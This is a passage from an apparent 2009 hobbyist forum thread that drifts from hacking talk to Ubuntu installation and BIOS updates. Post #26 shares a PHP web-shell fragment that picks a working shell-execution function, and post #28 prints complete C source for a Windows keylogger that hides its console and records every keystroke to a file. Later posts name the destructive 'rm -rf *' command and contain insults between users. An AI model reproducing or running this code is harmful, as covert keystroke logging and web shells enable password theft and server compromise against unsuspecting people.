
Wierd Computer Problem
#26
Posted 21 January 2009 - 05:22 PM
Here's an example:
"<?php
#######################################################
# Get a working exec method
function get_execution_method() {
if(function_exists(passthru))
{ $m = "passthru"; }
if(function_exists('exec'))
{ $m = "exec; }
if(function_exists('shell_exec'))
{ $m = "shell_exec"; }
if (function_exists('system'))
{ $m = "system"; }
if(!isset($m))
{ $m = "Disabled"; }
return($m);
}
?>"
Mind you that is only a portion of a web shell and you need knowledge of PHP to complete it. I do not condone the use of these materials in nothing more than an educational sense.
If you don't understand the command structure don't worry its easy to understand. Most of the statements are for pass through and command execution to get you an exploit in a web page. If the web page is insecure than you can get access to information. Its all really complicated after that as you can get access to SQL tables which hold information to be parsed on the sever side (means its executed with PHP).
#27
Posted 21 January 2009 - 05:39 PM
<?php ####################################################### # Get a working exec method function get_execution_method() { if(function_exists(passthru)) { $m = "passthru"; } if(function_exists('exec')) { $m = "exec; } if(function_exists('shell_exec')) { $m = "shell_exec"; } if (function_exists('system')) { $m = "system"; } if(!isset($m)) { $m = "Disabled"; } return($m); } ?>
Remember your code tags.
And sadly, I understand most of that. I was thinking of the code for hacking SQL tables after, but then I noticed I started using PHP 6 dev language features. Nothing else happened after that. I'm slightly ashamed.
Edited by boisie, 21 January 2009 - 05:39 PM.
#28
Posted 21 January 2009 - 06:00 PM
If any one is interested then you can get XAMPP (LAMPP for Linux) and get SQL and PHP. You can edit your PHP and SQL projects with Note Pad (I prefer Screem for Linux...sudo su to root then apt-get install screem). Its all quite fun when you get to know how the simple command structure works for PHP.
"#include <windows.h>
#include <stdio.h>
int main()
{
AllocConsole();
ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0);
FILE *Log;
short key;
char szKey[MAX_PATH];
int scan;
while(1)
{
Sleep(10);
for(key=0;key<256;key++)
{
if(GetAsyncKeyState(key)==-32767)
{
scan=MapVirtualKeyEx(key,0,GetKeyboardLayout(0));
GetKeyNameText(scan << 16,szKey,MAX_PATH);
Log=fopen ("log.txt", "a+");
fprintf(Log,"[%s]",szKey);
fclose(Log);
}
}
}
}"
Log catcher in C++. Complete code, but I can't take credit for this, as I got it off a site call ed Darkmindz. Its no longer online. My guess is that it logs keystrokes, but I haven't gotten it to compile and run since it says there are a few errors that need to be worked out. Remember for educational use only!!!!
#29
Posted 21 January 2009 - 10:51 PM
#30
Posted 23 January 2009 - 02:27 PM
#31
Posted 23 January 2009 - 02:33 PM
#32
Posted 23 January 2009 - 06:30 PM
#33
Posted 23 January 2009 - 06:54 PM
#34
Posted 23 January 2009 - 08:39 PM
I wonder if Ubuntu can be installed on my Drive from a Live CD? I just have to check if my BIOS can boot from USB.
#35
Posted 23 January 2009 - 09:56 PM
nerfsharpie6, on Jan 23 2009, 08:39 PM, said:
I have an ubuntu install on the external hooked up to the PC I'm using right now. It works Effeminateally fine. I expected it to be slow, but it's much closer to an internal HDD install than a LiveCD install. Only large data things are the issue.I've actually been considering using my external drive to hold Ubuntu because Windows 7 beta won't run on my system (stupid lack of RAM). But Ubuntu users would understand why, I know I do.
I wonder if Ubuntu can be installed on my Drive from a Live CD? I just have to check if my BIOS can boot from USB.
Remember to unmount the External though. Otherwise it can't format and partition it.
Edited by boisie, 23 January 2009 - 09:57 PM.
#36
Posted 23 January 2009 - 10:46 PM
(Unofficial) Wii thread
Damn it Foamfoot. Why is it that you kill every good topic with a retarded response a few days late.
#37
Posted 23 January 2009 - 11:58 PM
Good to know that Ubuntu/Linux can run well on an external drive, but since my BIOS won't boot from USB I can't do anything...damn Bios from '02.
Edited by nerfsharpie6, 24 January 2009 - 12:00 AM.
#38
Posted 24 January 2009 - 11:19 AM
The only partition editor you will ever need is here:
http://gparted.sourc....net/livecd.php
#39
Posted 24 January 2009 - 02:03 PM
nerfsharpie6, on Jan 23 2009, 11:58 PM, said:
You. Are. A. Retard. Not to be mean, but if you weren't, you would have known some of this already.You probably got a buggy early release of Linux. If it was Ubuntu you probably got like Feisty Fawn (6.0 or earlier) which had some issues with it, but the newest version which is like 8.10 is way updated. Use Ubuntu first though, you don't want to get Red Hat Linux, Slackware, or anything else right now until you become comfortable using the Distros that Ubuntu uses and you can execute terminal commands and fix common issues solo.
Good to know that Ubuntu/Linux can run well on an external drive, but since my BIOS won't boot from USB I can't do anything...damn Bios from '02.
There is no Ubuntu 6.0 release, and it is definitely not Feisty Fawn. The releases are the year released[dot]month released. They try to stay on a six month schedule. This means: 4.10, 5.04, 5.10, (Got off track) 6.06, 6.10, 7.04, 7.10, 8.04, 8.10, and next is 9.04. The names also go in alphabetical order. Currently 8.10 is Intrepid Ibex. 7.04 was Feisty Fawn.
Linux is also more stable than most other Operating Systems. That's why Macs crash less than Windows PCs. OSX is based on the Mach microkernel. The only difference is that this version of Mach was developed by a company. Linux was developed as free. That is why it's grown up the way it has. It started looking to be an alternative. And as it grew, more people liked the kernels way of doing things. That's why there are so many distros. Linux is a kernel. You can find it at http://www.kernel.org/ and use it to make your own. What matters is not that it uses the Linux kernel, but how it uses the Linux kernel. there are currently over 50 variants of the Ubuntu Distro. Until I found Damn Small Linux, I would run an extinct distro called Storm Linux 2000 on my laptop.
It doesn't matter what the hell you use, it matters that you know what the fuck the warranty on the thing is. There is, in reality, NO WARRANTY (Or as limited a warranty as the extent of the law allows.) It's stated in almost every License you can find tacked to a linux distro. Choose a distro based on your knowledge and needs. If your getting your feet wet, go with something that has a livecd so you can get into it first. If your already looking for the cutting edge, and know never to put the command
rm -rf *in a terminal, you'll know what to choose for yourself.
Thank you for your time.
PS- look around for a bios updates for your pc. That should help.
#40
Posted 24 January 2009 - 02:11 PM
It's just screaming to be rearloading...
I seen a movie about that once.
#41
Posted 24 January 2009 - 02:18 PM
Any one know where to get Phoenix BIOS updates, Phoenix LTD upgrade page decided to disappear.
1 user(s) are reading this topic
0 members, 1 guests, 0 anonymous users